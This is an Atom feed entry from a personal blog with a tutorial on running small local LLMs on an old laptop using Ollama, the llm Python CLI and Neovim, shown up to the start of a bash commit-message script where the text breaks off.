<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
    <title>zoug.fr</title>
    <subtitle>Yassine Zouggari or zoug&#x27;s blog on computer science and loosely related subjects, in French and English.</subtitle>
    <link rel="self" type="application/atom+xml" href="https://zoug.fr/atom.xml"/>
    <link rel="alternate" type="text/html" href="https://zoug.fr"/>
    <generator uri="https://www.getzola.org/">Zola</generator>
    <updated>2025-12-21T00:00:00+00:00</updated>
    <id>https://zoug.fr/atom.xml</id>
    <entry xml:lang="en">
        <title>Local LLMs on potato computers feat. the llm Python CLI and sllm.nvim</title>
        <published>2025-12-21T00:00:00+00:00</published>
        <updated>2025-12-21T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Yassine Zouggari
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://zoug.fr/local-llms-potato-computers/"/>
        <id>https://zoug.fr/local-llms-potato-computers/</id>
        
        <content type="html" xml:base="https://zoug.fr/local-llms-potato-computers/">&lt;h1 id=&quot;foreword&quot;&gt;Foreword&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;strong&gt;The year is 2022&lt;&#x2F;strong&gt;. We are living in a world where someone, not a machine, probably wrote that article or tutorial you’re reading. Sure, the &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Dead_Internet_theory&quot;&gt;Dead Internet&lt;&#x2F;a&gt; theory is already gaining traction, but mostly, content online is created by people.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Transformers&lt;&#x2F;strong&gt; changed everything. In a 2017 research paper named &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Attention_Is_All_You_Need&quot;&gt;“Attention Is All You Need”&lt;&#x2F;a&gt;, currently cited &lt;strong&gt;207 000 times&lt;&#x2F;strong&gt; 🤯, eight scientists working for Google introduced this revolutionary new technique, and late-2022, &lt;strong&gt;ChatGPT&lt;&#x2F;strong&gt; (&lt;em&gt;GPT&lt;&#x2F;em&gt; for &lt;em&gt;Generative&lt;&#x2F;em&gt;, &lt;em&gt;Pre-trained&lt;&#x2F;em&gt; and &lt;em&gt;Transformer&lt;&#x2F;em&gt;) was launched. Today, NVIDIA is the most valued company on Earth, firms like OpenAI and Anthropic boast enormous valuations and make even bigger promises, and AI is being forced down our throats at every occasion.&lt;&#x2F;p&gt;
&lt;p&gt;I do not like generative AI the way it is used and pushed by our tech overlords, but I do think the underlying science, machine learning, can be &lt;strong&gt;very useful&lt;&#x2F;strong&gt; and &lt;strong&gt;not wasteful of resources&lt;&#x2F;strong&gt; if done right. Machine learning has been a thing for decades at this point: LLMs (for &lt;em&gt;Large Language Models&lt;&#x2F;em&gt;, i.e. AI chatbots) and the current transformers-induced AI boom is just one very specific way it’s used.&lt;&#x2F;p&gt;
&lt;p&gt;Like many, I’ve &lt;strong&gt;never used&lt;&#x2F;strong&gt; ChatGPT, Claude, Copilot, any of them. The argument “you should or you’ll get left behind” is utter nonsense: don’t take it from me, take it from people that &lt;a href=&quot;https:&#x2F;&#x2F;youtu.be&#x2F;0ZUkQF6boNg?t=650&quot;&gt;actively use these tools everyday&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;The only AI that is of remote interest to me is AI I can run locally, so I’ve been keeping an eye on places like the &lt;a href=&quot;https:&#x2F;&#x2F;www.reddit.com&#x2F;r&#x2F;LocalLLaMA&#x2F;&quot;&gt;LocalLLaMA&lt;&#x2F;a&gt; subreddit and trying out &lt;strong&gt;small&lt;&#x2F;strong&gt; and &lt;strong&gt;local&lt;&#x2F;strong&gt; LLMs. These are what we call &lt;strong&gt;open weight&lt;&#x2F;strong&gt; models (not to be confused with truly &lt;strong&gt;open source&lt;&#x2F;strong&gt; models like &lt;a href=&quot;https:&#x2F;&#x2F;allenai.org&#x2F;olmo&quot;&gt;Olmo&lt;&#x2F;a&gt;). I want these models running on my laptop, not on a server, even if I control the server: this way, their fingerprint is kept very small (running them is no different than playing a video game).&lt;&#x2F;p&gt;
&lt;p&gt;In this article, I’ll show you how to setup the &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;simonw&#x2F;llm&quot;&gt;&lt;code&gt;llm&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; Python CLI, what you can do with it, and how to use it with Neovim using the &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;mozanunal&#x2F;sllm.nvim&quot;&gt;&lt;code&gt;sllm.nvim&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; plugin. I’ll share how I’ve been using these LLMs, and while &lt;strong&gt;it didn’t change my life&lt;&#x2F;strong&gt;, it can be pretty useful, and probably will be more and more useful if small LLMs continue improving the way they have.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;If you must use AI, I recommend you use it in a similar way&lt;&#x2F;strong&gt;. Keep control over your data, do not participate in the AI madness by paying hefty subscriptions or buying&#x2F;renting monster GPUs, just use small, local models. If your computer is better than mine, you can use heavier models that will yield better results, and the inverse is true: we’ll talk a bit about how to select the model that’s right for you.&lt;&#x2F;p&gt;
&lt;p&gt;This article is split into two parts. The one you’re reading, and a second, non-technical one about the AI bubble, the environmental costs, and the financial consequences of these tools, that &lt;a href=&quot;https:&#x2F;&#x2F;zoug.fr&#x2F;stop-using-big-bloated-ai&#x2F;&quot;&gt;you can read here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Let’s dive right in!&lt;&#x2F;p&gt;
&lt;h1 id=&quot;the-resources-at-my-disposal&quot;&gt;The resources at my disposal&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;my-laptop-config&quot;&gt;My laptop config&lt;&#x2F;h2&gt;
&lt;p&gt;Meet my laptop, the &lt;em&gt;ASUS PC Portable Gamer FX552VE-DM380T&lt;&#x2F;em&gt;, bought in February 2018:&lt;&#x2F;p&gt;
&lt;img class=&quot;&quot;alt=&quot;A photo of my computer&quot;src=&quot;my-computer.webp&quot;&#x2F;&gt;
&lt;p&gt;I wouldn’t call it &lt;em&gt;old&lt;&#x2F;em&gt;, I’d say it is &lt;em&gt;middle-aged&lt;&#x2F;em&gt;. I am confident I can squeeze a few more years out of it, and fully intend to do so. I use Linux, so Microsoft cannot &lt;a href=&quot;https:&#x2F;&#x2F;www.windowscentral.com&#x2F;microsoft&#x2F;windows-10&#x2F;hp-and-dell-say-half-of-todays-pcs-still-run-windows-10&quot;&gt;force me to throw it out&lt;&#x2F;a&gt; when Windows 10 support ends in October 2026. I’ve doubled the amount of RAM a few years ago (from 6 GB to 12), and the graphics card it has is an NVIDIA 1050Ti with &lt;strong&gt;only 2 GB of VRAM&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;That last figure is important. A defining characteristic of a graphics card is how much VRAM or &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Video_random-access_memory&quot;&gt;video RAM&lt;&#x2F;a&gt; it has. This is very fast memory, way faster than your “normal” RAM, directly integrated inside the GPU. If your model fits inside that amount of memory, it will run &lt;em&gt;pretty fast&lt;&#x2F;em&gt; (of course, the raw computing power of your GPU is also important). And since your GPU is doing the heavy lifting, your main system resources are not too bothered by the additional workload: you have your RAM and CPU power at your disposal for web browsing, text editing etc.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-llms-i-can-run&quot;&gt;The LLMs I can run&lt;&#x2F;h2&gt;
&lt;p&gt;When browsing LLMs in places like &lt;a href=&quot;https:&#x2F;&#x2F;ollama.com&#x2F;search&quot;&gt;the Ollama model list&lt;&#x2F;a&gt; or &lt;a href=&quot;https:&#x2F;&#x2F;huggingface.co&#x2F;models?num_parameters=min:0,max:3B&amp;amp;apps=ollama&amp;amp;sort=trending&quot;&gt;HuggingFace&lt;&#x2F;a&gt;, their name include the number of parameters they have e.g. &lt;code&gt;7B&lt;&#x2F;code&gt; stands for &lt;em&gt;7 billion&lt;&#x2F;em&gt; and &lt;code&gt;0.6B&lt;&#x2F;code&gt; for &lt;em&gt;600 million&lt;&#x2F;em&gt; parameters. These parameters are nothing more than weights in matrices, coefficients if you will. When an LLM runs, these parameters are loaded in memory, you feed the LLM an input (a prompt, a picture, a video feed…), some math happens i.e. multiplying the parameters and the input together and through layers, and you get an output, what the LLM produces.&lt;&#x2F;p&gt;
&lt;p&gt;This is how all neural networks work, not just LLMs. If you want to learn more about the math behind transformers specifically, I recommend you &lt;a href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=wjZofJX0v4M&quot;&gt;watch this video&lt;&#x2F;a&gt; (actually, the whole series is great!).&lt;&#x2F;p&gt;
&lt;p&gt;I said earlier that my graphics card only has 2 GB of VRAM. This means it can load 2 gigabytes of data, one byte being &lt;strong&gt;8 bits&lt;&#x2F;strong&gt;. “Raw” LLMs store their parameters as &lt;strong&gt;16-bit&lt;&#x2F;strong&gt; (or even &lt;strong&gt;32-bit&lt;&#x2F;strong&gt;) values, but we can reduce this to a lot less with a technique called &lt;em&gt;quantization&lt;&#x2F;em&gt; and without losing too much precision.&lt;&#x2F;p&gt;
&lt;p&gt;In a nutshell, for most use cases, &lt;code&gt;Q4_K_M&lt;&#x2F;code&gt; quantization is what we want to go for, the default quantization applied for Ollama models. This reduces the parameters to 4-bit values, but LLMs also need a substantial amount of overhead or cache, to hold calculation steps while they take place. In my case, my graphics card can fully load around &lt;code&gt;2B&lt;&#x2F;code&gt; models quantized with &lt;code&gt;Q4_K_M&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;That may seem like very little. If you’ve been following the subject you probably think a &lt;code&gt;7B&lt;&#x2F;code&gt; model is already a small LLM: some models are &lt;code&gt;675B&lt;&#x2F;code&gt; parameters. But &lt;code&gt;2B&lt;&#x2F;code&gt; models and even lower can already do &lt;strong&gt;a lot&lt;&#x2F;strong&gt;, e.g. Microsoft released &lt;a href=&quot;https:&#x2F;&#x2F;huggingface.co&#x2F;microsoft&#x2F;VibeVoice-Realtime-0.5B&quot;&gt;this &lt;code&gt;0.5B&lt;&#x2F;code&gt; model&lt;&#x2F;a&gt; which can generate &lt;em&gt;very convincing&lt;&#x2F;em&gt; speech from text with very low latency.&lt;&#x2F;p&gt;
&lt;p&gt;If a model doesn’t fully fit in my graphics card’s VRAM, I can still try to run it by mixing RAM and VRAM. This comes at a &lt;strong&gt;heavy performance cost&lt;&#x2F;strong&gt;, but is still useful if you want bigger (i.e. more precise) models and don’t mind waiting for the output.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ollama&quot;&gt;Ollama&lt;&#x2F;h2&gt;
&lt;p&gt;I use &lt;a href=&quot;https:&#x2F;&#x2F;ollama.com&#x2F;&quot;&gt;Ollama&lt;&#x2F;a&gt; to download and run LLMs, you could also use &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ggml-org&#x2F;llama.cpp&quot;&gt;llama.cpp&lt;&#x2F;a&gt;. Both are straight-forward to install, but if you run Linux like me, it used to be pretty hard to get your (NVIDIA specifically) graphics card configured and working. Thankfully, now that NVIDIA has a vested interest in making their graphics cards work on Linux, their drivers and CUDA have gotten &lt;em&gt;a lot&lt;&#x2F;em&gt; better.&lt;&#x2F;p&gt;
&lt;p&gt;Running &lt;code&gt;ollama list&lt;&#x2F;code&gt; shows me the models I’ve downloaded:&lt;&#x2F;p&gt;
&lt;div class=&quot;crt scanlines&quot; aria-hidden=&quot;true&quot;&gt;
	&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;NAME                                                         ID              SIZE
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;ministral-3:3b                                               xxxxxxxxxxxx    3.0 GB
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;yi-coder:1.5b                                                xxxxxxxxxxxx    866 MB
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;qwen3:4b                                                     xxxxxxxxxxxx    2.5 GB
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;gemma3:4b-it-q4_K_M                                          xxxxxxxxxxxx    3.3 GB
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;hf.co&#x2F;lmstudio-community&#x2F;Olmo-3-7B-Instruct-GGUF:Q4_K_M      xxxxxxxxxxxx    4.5 GB
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;hf.co&#x2F;hugging-quants&#x2F;Llama-3.2-1B-Instruct-Q8_0-GGUF:Q8_0    xxxxxxxxxxxx    1.3 GB
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;qwen3:1.7b                                                   xxxxxxxxxxxx    1.4 GB
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;gemma3:1b                                                    xxxxxxxxxxxx    815 MB
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;[...]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;

&lt;&#x2F;div&gt;
&lt;p&gt;Some of these are heavier than others, but I can’t go much higher than a &lt;code&gt;4B&lt;&#x2F;code&gt; model without my computer no longer keeping up.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;use-llms-the-unix-way-with-the-llm-plugin&quot;&gt;Use LLMs the Unix way with the &lt;code&gt;llm&lt;&#x2F;code&gt; plugin&lt;&#x2F;h1&gt;
&lt;p&gt;You can try out your LLMs with Ollama by doing &lt;code&gt;ollama run &amp;lt;model-name&amp;gt;&lt;&#x2F;code&gt;, you can also chat with your LLMs via a web interface like &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;open-webui&#x2F;open-webui&quot;&gt;Open WebUI&lt;&#x2F;a&gt;. However, my favorite way of using them is with the &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;simonw&#x2F;llm&quot;&gt;&lt;code&gt;llm&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; Python CLI.&lt;&#x2F;p&gt;
&lt;p&gt;If you have &lt;code&gt;uv&lt;&#x2F;code&gt; installed, you can run:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmd&quot; class=&quot;language-cmd z-code&quot;&gt;&lt;code class=&quot;language-cmd&quot; data-lang=&quot;cmd&quot;&gt;&lt;span class=&quot;z-source z-dosbatch&quot;&gt;uv tool install llm
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-dosbatch&quot;&gt;llm install llm-ollama
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You can then list the models &lt;code&gt;llm&lt;&#x2F;code&gt; can use:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmd&quot; class=&quot;language-cmd z-code&quot;&gt;&lt;code class=&quot;language-cmd&quot; data-lang=&quot;cmd&quot;&gt;&lt;span class=&quot;z-source z-dosbatch&quot;&gt;llm models list
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-dosbatch&quot;&gt;llm models default qwen3:&lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-dosbatch&quot;&gt;1&lt;&#x2F;span&gt;.7b # &lt;span class=&quot;z-keyword z-command z-dosbatch&quot;&gt;set&lt;&#x2F;span&gt; &lt;span class=&quot;z-variable z-other z-readwrite z-dosbatch&quot;&gt;a default model&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;div class=&quot;crt scanlines&quot; aria-hidden=&quot;true&quot;&gt;
	&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;[...]
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;Ollama: qwen3:1.7b
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;Ollama: gemma3:1b
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;Default: qwen3:1.7b
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;

&lt;&#x2F;div&gt;
&lt;p&gt;The very nice thing about this CLI is that it behaves like any shell command. You can pipe context to it, and it will be inputted to an LLM. You’ll get the response back, that you can then write to a file or pipe to another command. For example, you can do things like:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmd&quot; class=&quot;language-cmd z-code&quot;&gt;&lt;code class=&quot;language-cmd&quot; data-lang=&quot;cmd&quot;&gt;&lt;span class=&quot;z-source z-dosbatch&quot;&gt;tail -n &lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-dosbatch&quot;&gt;100&lt;&#x2F;span&gt; online&#x2F;gameplay.rs \
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-dosbatch&quot;&gt;    &lt;span class=&quot;z-keyword z-operator z-pipe z-dosbatch&quot;&gt;|&lt;&#x2F;span&gt; llm &lt;span class=&quot;z-keyword z-command z-dosbatch&quot;&gt;prompt&lt;&#x2F;span&gt; -s \
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-dosbatch&quot;&gt;    &lt;span class=&quot;z-string z-quoted z-double z-dosbatch&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-dosbatch&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;Explain the handle_current_game_state Rust function&lt;span class=&quot;z-punctuation z-definition z-string z-end z-dosbatch&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-redirection z-dosbatch&quot;&gt;&amp;gt;&amp;gt;&lt;&#x2F;span&gt; project_notes.&lt;span class=&quot;z-keyword z-command z-dosbatch&quot;&gt;md&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This will pass the last 100 lines of the &lt;code&gt;online&#x2F;gameplay.rs&lt;&#x2F;code&gt; file, where a function &lt;code&gt;handle_current_game_state&lt;&#x2F;code&gt; is defined, then ask (via the system prompt with &lt;code&gt;-s&lt;&#x2F;code&gt;) the model to explain what it does. The LLM will then append the response to a file. In this example, the &lt;code&gt;project_nodes.md&lt;&#x2F;code&gt; file contains (snippets):&lt;&#x2F;p&gt;
&lt;div class=&quot;crt scanlines&quot; aria-hidden=&quot;true&quot;&gt;
	&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;### **Key Functionality Overview**
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;#### **2. Handling a Previous Game State**
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;- If a game state is provided (`game_state.is_some()`), it:
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;  - Checks if the game has already ended (e.g., a winner has been declared).
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;  - [...]
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;### **Flow of the Game**
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;1. **Player Input**:
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;   - The player inputs a move (e.g., &amp;quot;e2e4&amp;quot;).
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;   - The system checks if the move is valid.
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;   - If valid, it sends the move to the game engine (e.g., Lichess) using `api.board_make_move`.
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;   - [...]
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;### **Asynchronous Nature**
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;- The function uses `await` to handle asynchronous operations (e.g., `tx.send()`).
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;- It waits for the `tx` channel to respond (e.g., for the opponent&amp;#39;s move) before prompting the player again.
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;### **Summary**
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;The `handle_current_game_state` function is responsible for:
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;- Managing the flow of game states and moves.
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;- Prompting the user for input when no previous move is available.
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;[...]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;

&lt;&#x2F;div&gt;
&lt;p&gt;…which is pretty accurate (not a 100%, but not far) and has been generated pretty fast on my laptop (42 seconds for 64 lines of explanations). Again, this is with a very small local model, only &lt;code&gt;1.7B&lt;&#x2F;code&gt; parameters.&lt;&#x2F;p&gt;
&lt;blockquote class=&quot;markdown-alert-note&quot;&gt;
&lt;p&gt;Check out &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;yzoug&#x2F;minac&quot;&gt;the project&lt;&#x2F;a&gt; this is from, and help me out if it interests you 😉.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;the-world-is-your-oyster&quot;&gt;The world is your oyster&lt;&#x2F;h2&gt;
&lt;p&gt;With &lt;code&gt;llm&lt;&#x2F;code&gt;, you can create your own scripts for your use-cases. This is a simple yet &lt;strong&gt;very&lt;&#x2F;strong&gt; powerful feature.&lt;&#x2F;p&gt;
&lt;p&gt;For example, let’s say I use &lt;a href=&quot;https:&#x2F;&#x2F;commitlint.js.org&#x2F;&quot;&gt;commitlint&lt;&#x2F;a&gt; to keep a clean Git history. Here’s a script that generates a commit message from whatever I &lt;code&gt;git add&lt;&#x2F;code&gt;ed, and asks the LLM to correct its input if it fails the &lt;code&gt;commitlint&lt;&#x2F;code&gt; checks:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash z-code&quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-begin z-shell&quot;&gt;#&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt;!&#x2F;bin&#x2F;bash&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-begin z-shell&quot;&gt;#&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt; zoug.fr&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-begin z-shell&quot;&gt;#&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt; temporary files for our commands&amp;#39; output&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-variable z-other z-readwrite z-assignment z-shell&quot;&gt;DIFF_TEMP_FILE&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-assignment z-shell&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-unquoted z-shell&quot;&gt;&lt;span class=&quot;z-meta z-group z-expansion z-command z-parens z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-shell&quot;&gt;$&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-parens z-begin z-shell&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;mktemp&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-parens z-end z-shell&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-variable z-other z-readwrite z-assignment z-shell&quot;&gt;COMMIT_MSG_TEMP_FILE&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-assignment z-shell&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-unquoted z-shell&quot;&gt;&lt;span class=&quot;z-meta z-group z-expansion z-command z-parens z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-shell&quot;&gt;$&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-parens z-begin z-shell&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;mktemp&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-parens z-end z-shell&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-variable z-other z-readwrite z-assignment z-shell&quot;&gt;COMMIT_ERRORS_TEMP_FILE&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-assignment z-shell&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-unquoted z-shell&quot;&gt;&lt;span class=&quot;z-meta z-group z-expansion z-command z-parens z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-shell&quot;&gt;$&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-parens z-begin z-shell&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;mktemp&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-parens z-end z-shell&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-begin z-shell&quot;&gt;#&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt; the prompts I use&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-begin z-shell&quot;&gt;#&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt; you probably should try other ones&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-shell&quot;&gt;
